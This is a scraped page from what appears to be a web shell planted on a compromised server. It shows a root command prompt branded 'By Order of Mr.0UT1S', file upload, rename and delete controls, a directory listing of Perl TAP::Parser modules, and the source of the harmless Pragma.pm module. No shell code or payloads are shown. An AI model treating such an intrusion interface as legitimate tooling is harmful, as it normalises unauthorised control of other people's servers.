usr
/
share
/
perl5
/
vendor_perl
/
TAP
/
Parser
/
Result
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
Bailout.pm
1.12 KB
Rename
Delete
Comment.pm
986 bytes
Rename
Delete
Plan.pm
2.00 KB
Rename
Delete
Pragma.pm
946 bytes
Rename
Delete
Test.pm
5.94 KB
Rename
Delete
Unknown.pm
734 bytes
Rename
Delete
Version.pm
946 bytes
Rename
Delete
YAML.pm
880 bytes
Rename
Delete
package TAP::Parser::Result::Pragma; use strict; use warnings; use base 'TAP::Parser::Result'; =head1 NAME TAP::Parser::Result::Pragma - TAP pragma token. =head1 VERSION Version 3.42 =cut our $VERSION = '3.42'; =head1 DESCRIPTION This is a subclass of L<TAP::Parser::Result>. A token of this class will be returned if a pragma is encountered. TAP version 13 pragma +strict, -foo Pragmas are only supported from TAP version 13 onwards. =head1 OVERRIDDEN METHODS Mainly listed here to shut up the pitiful screams of the pod coverage tests. They keep me awake at night. =over 4 =item * C<as_string> =item * C<raw> =back =cut ############################################################################## =head2 Instance Methods =head3 C<pragmas> if ( $result->is_pragma ) { @pragmas = $result->pragmas; } =cut sub pragmas { my @pragmas = @{ shift->{pragmas} }; return wantarray ? @pragmas : \@pragmas; } 1;
Save